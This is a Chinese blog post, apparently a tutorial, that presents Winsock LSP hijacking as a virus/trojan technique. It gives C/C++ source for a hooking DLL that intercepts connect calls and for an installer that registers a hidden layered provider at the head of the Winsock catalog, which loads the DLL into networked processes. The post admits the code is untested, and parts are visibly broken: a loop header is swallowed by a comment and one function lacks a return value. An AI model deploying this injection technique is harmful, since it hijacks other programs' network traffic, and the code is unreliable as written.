C/C++病毒木马LSP劫持应用

应用程序通过 socket 进行网络通信时会调用 ws2_32.dll 的导出函数，比如 send/recv 等，而这些函数时通过更底层的 LSP 提供的 SPI（服务提供者接口）实现的。划重点！！！ ：如果有多个符合条件的 SPI，系统将会调用在 winsock 目录最前面的那个 。所以注册一个 SPI 并插入到 winsock 目录的最前面就可以劫持 LSP 了！

另外劫持 LSP 需要将代码卸载 DLL 里（毕竟人家也叫劫持嘛 ~）

代码（来自网络）
freesec.dll

// 全局遍历
WCHAR exepath[MAX_PATH] = { 0 };
WSPPROC_TABLE trueTable = { 0 };

int GetProvider(LPWSAPROTOCOL_INFOW &pProtoInfo)
{
    //  首次调用，pProtoInfo传入NULL，取得需要的缓冲区长度
    DWORD dwSize = 0;
    int nError = 0;
    if (WSCEnumProtocols(NULL, NULL, &dwSize, &nError) == SOCKET_ERROR)
    {
        if (nError != WSAENOBUFS)
        {
            return 0;
        }
    }
    // 申请足够缓冲区内存。
    pProtoInfo = (LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR, dwSize);
    if (pProtoInfo == NULL)
    {
        return 0;
    }
    //再次调用WSCEnumProtocols函数
    return WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
}

int WSPConnect(SOCKET s, const struct sockaddr FAR* name, int namelen,
        LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS,
        LPINT lpErrno)
{
    SOCKADDR_IN addr = *(SOCKADDR_IN*)name;
    if (addr.sin_port==htons(80))
    {
        MessageBoxW(0, L"有程序访问外网80端口", L"拒绝访问", 0);
        return SOCKET_ERROR;
    }
    return trueTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}

int WSPAPI WSPStartup(
    WORD wVersionRequested,
    LPWSPDATA lpWSPData,
    LPWSAPROTOCOL_INFOW lpProtocolInfo,
    WSPUPCALLTABLE UpcallTable,
    LPWSPPROC_TABLE lpProcTable
)
/*
    当应用程序通过SOCKET创建socket时会调用系统根据Winsock目录和程序的需要来将对应的传输服务提供者,即
    一个dll加载到目标进程中. 然后调用该dll提供的WSPStartup函数来初始化.初始化的
    目的就是为了通过调用这个函数来获取该这次操作socket的API函数对应的SPI
    这就是windows上写socket时之前必须通过WSAStartup来进行socket初始化的原因
    该函数的lpProcTable 参数是个结构体,保存了所有的SPI函数.也就是可以从这个参数来获取SPI
    所以只需导出这个函数,然后将其他的SPI填写到lpProcTable中,最后返回给程序
    以上都是正常情况下的调用过程. 如果我们让系统加载我们给它提供的dll就可以导出该函数,并
    hook掉lpProcTable中的成员进行监控. 但是我们hook该函数后允许的话应该最后要调用正常的SPI,
    这时参数lpProtocolInfo就能派上用场. 通过该参数可以获取原来的协议的目录id,然后遍历winsock
    目录找到对应的协议的传输服务提供者即一个dll路径,通过加载该dll并调用其中的WSPStartup即可获取
    真正的SPI,然后调用它.最终可以实现监控,修改,拦截等功能
*/
{
    //我们编写的DLL用于协议链中，所以如果是基础协议或分层协议使用则直接返回错误
    if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    WCHAR exename[100] = { 0 };
    wsprintf(exename, L"应用程序: %ls 正在联网,是否允许?", exepath);
    if (MessageBoxW(0,exename,L"温馨提示",MB_YESNO|MB_ICONWARNING)==IDNO)
    {
        MessageBoxW(0, L"已拦截", L"提示", 0);
        return WSAEPROVIDERFAILEDINIT;
    }
    // 枚举协议，找到下层协议的WSAPROTOCOL_INFOW结构    
    WSAPROTOCOL_INFOW    trueProtocolInfo;    //保存真正的协议结构
    LPWSAPROTOCOL_INFOW pProtoInfo = NULL;    
    int allproto = GetProvider(pProtoInfo);
    DWORD trueId = lpProtocolInfo->ProtocolChain.ChainEntries[1];//获取真正的协议目录id
    int i;
    //遍历查找真正的协议结构
    for (i = 0; i < allproto; i++)
    {
        if (pProtoInfo[i].dwCatalogEntryId==trueId)
        {
            memcpy(&trueProtocolInfo, &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
            break;
        }
    }
    //没找到就返回失败
    if (i>=allproto)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    int nError;
    wchar_t szBaseProviderDll[MAX_PATH];//保存真正dll路径
    int nLen = MAX_PATH;
    // 取得下层提供程序DLL路径
    if (WSCGetProviderPath(&trueProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    //上面的函数执行后路径中会存在环境变量,通过下面展开环境变量
    if (!ExpandEnvironmentStringsW(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
    {
        return WSAEPROVIDERFAILEDINIT;
    }

    // 加载真正dll
    HMODULE hModule = LoadLibraryW(szBaseProviderDll);
    if (hModule == NULL)
    {
        return WSAEPROVIDERFAILEDINIT;
    }

    // 导入真正dll的WSPStartup函数
    LPWSPSTARTUP  pfnWSPStartup = NULL;
    pfnWSPStartup = (LPWSPSTARTUP)GetProcAddress(hModule, "WSPStartup");
    if (pfnWSPStartup == NULL)
    {
        return WSAEPROVIDERFAILEDINIT;
    }

    // 调用下层提供程序的WSPStartup函数以填充SPI地址表
    LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
    //
    if (trueProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
    {
        pInfo = &trueProtocolInfo;
    }
    else
    {
        for (int j = 0; j<lpProtocolInfo->ProtocolChain.ChainLen; j++)
        {
            lpProtocolInfo->ProtocolChain.ChainEntries[j]
                = lpProtocolInfo->ProtocolChain.ChainEntries[j + 1];
        }
        lpProtocolInfo->ProtocolChain.ChainLen--;
    }
    //调用真正的WSPStartup, 注意参数,协议结构参数必须是原来我们想劫持的那个协议结构
    int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
    if (nRet != ERROR_SUCCESS)
    {
        return nRet;
    }
    memcpy(&trueTable, lpProcTable, sizeof(WSPPROC_TABLE)); //保存到trueTable中以便调用
    //进行api替换
    lpProcTable->lpWSPConnect = (LPWSPCONNECT)WSPConnect;

}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        GetModuleFileNameW(0, exepath, MAX_PATH * sizeof(wchar_t));
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

test.cpp:

#include<Windows.h>
#include<locale.h>
#include<stdio.h>
#include<malloc.h>
#pragma comment(lib,"ws2_32.lib")
GUID layerGuid;
#define layerName L"freesec"  
DWORD findGuid()
{
    //枚举winsock目录中的协议
    LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
    DWORD size = 0;            //大小
    DWORD num;                //数量
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    int i;
    for ( i= 0; i < num; i++)
    {
        if (lstrcmpW(info[i].szProtocol,layerName)==0)
        {
            memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));
            break;
        }
    }
    free(info);
    if (i==num)//没找到
    {
        return 0;
    }
    return 1;
}
DWORD lspInject()
{
    //枚举winsock目录中的协议
    LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
    DWORD size = 0;            //大小
    DWORD num;                //数量
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    DWORD trueId;            //存储被安装的提供者的目录id
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }

    WCHAR supplier[] = layerName;
    WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件
    DWORD myId;
    int proto = IPPROTO_TCP; //目标协议

    WSAPROTOCOL_INFOW save = { 0 };    //用于存储指定协议的正常的提供者,最后用来作为分层协议和协议链的模板for (int i = 0; i < num; i++)
    {//找符合条件的提供者,但不能是分层协议
        if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0)
        {
            memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW));    //将原来的基础协议信息保存                                                                
            save.dwServiceFlags1 &= ~XP1_IFS_HANDLES;        //去掉XP1_IFS_HANDLES标志
            trueId = info[i].dwCatalogEntryId;
            break;
        }
    }

    //安装分层协议
    WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分层协议
    memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以这个保存的系统已有协议作为模板
    lstrcpyW(Lpi.szProtocol, supplier);    //协议名,其实就是一个代号而已,可以随意起名
    Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL;    //设置为分层协议
    Lpi.dwProviderFlags |= PFL_HIDDEN;        //?
    GUID pguid;                    //分层协议的guid
    UuidCreate(&pguid);
    memcpy(&layerGuid,&pguid,sizeof(GUID));
    if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR)        //安装该分层协议
    {
        free(info);
        return 0;
    }

    //重新枚举协议以获取分层协议的目录id
    free(info);            //因为添加了一个分层协议,所以需要重新分配内存
    DWORD layerId;        //保存分层协议目录id
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }

    for (int i = 0; i < num; i++)        //遍历协议,直到找到刚才新增的分层协议
    {
        if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0)
        {
            layerId = info[i].dwCatalogEntryId;        //获取分层协议目录id
        }
    }

    //安装协议链
    WCHAR chainName[WSAPROTOCOL_LEN + 1];            //其实就是一个名字代号,和分层协议的名字一样
    wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);
    lstrcpyW(save.szProtocol, chainName);        //改名字1
    if (save.ProtocolChain.ChainLen == 1) //如果目标协议的正常提供者是基础协议则将其目录id放在协议链的第2个位置
    {
        save.ProtocolChain.ChainEntries[1] = trueId;        //将id写入到该协议链的ChainEntries数组中,这个数组只有当它是协议链时才有意义
    }
    else       //否则就是协议链提供者
    {
        for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是协议链则将该协议链中其他协议往后移,
                                                             //以便将自己的分层协议插入到链首.但是这个数组最大存7个,所以如果原来就占满了,理论上会挤掉最后一个
        {
            save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];
        }
    }

    save.ProtocolChain.ChainEntries[0] = layerId;
    save.ProtocolChain.ChainLen++;

    //获取guid,安装协议链
    GUID providerChainGuid;
    UuidCreate(&providerChainGuid);
    if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }

    //重新枚举协议
    free(info);
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    //遍历获取我们的协议链的目录id
    DWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //这个是协议链的目录id数组,把我们的协议链id
                                                          //放在最前面,系统原来的按顺序放后面
    DWORD cindex = 0;
    for (int i = 0; i < num; i++)
    {
        if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId))
        {
            chainId[cindex] = info[i].dwCatalogEntryId;
            cindex++;
        }
    }
    for (int i = 0; i < num; i++)
    {
        if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId))
        {
            chainId[cindex] = info[i].dwCatalogEntryId;
            cindex++;
        }
    }

    if (WSCWriteProviderOrder(chainId, cindex) != 0)
    {
        free(info);
        free(chainId);
        return 0;
    }


    free(info);
    free(chainId);
    return 1;


}

DWORD uninstall()
{
    if(findGuid()==0)
    {
        return 0;
    }
    //枚举winsock目录中的协议
    LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
    DWORD size = 0;            //大小
    DWORD num;                //数量
        DWORD Id;            
    DWORD result;
    int cc;　　//作为错误码,下面2个函数的错误码地址必须提供,否则会调用失败
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    int i = 0;

    for (i=0; i < num; i++)
    {
        if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0)
        {
            Id = info[i].dwCatalogEntryId;
        }
    }
    if (i<=num)
    {
        for (i = 0; i < num; i++)
        {
            if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id))
            {

                if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR)
                {
                    
                    free(info);
                    return 0;
                }
                break;
            }
        }
     　　free(info); 
        if((result=WSCDeinstallProvider(&layerGuid,  &cc))==SOCKET_ERROR)
        {return 0;
        }
    }
    else
    {
　　　　　free(info);
        return 0;    
    }return 1;
}
int main(int argc, char** argv)
{
    setlocale(LC_ALL, "chs");
    int result;
    if (argc!=2)
    {
        printf("usage:%s install or uninstall\n", argv[0]);
        return 0;
    }
    if (strcmp(argv[1],"install")==0)
    {
        if (lspInject())
        {
            printf("install success\n");
        }
        else
        {
            printf("install error code is %d\n", GetLastError());
        }
    }
    else if(strcmp(argv[1], "uninstall") == 0)
    {
        if (uninstall())
        {
            printf("uninstall success\n");
        }
        else
        {
            printf("uninstall error code is %d\n", GetLastError());
        }
    }

    return 1;

}

以上代码未经测试，时间有限用到的时候再改吧。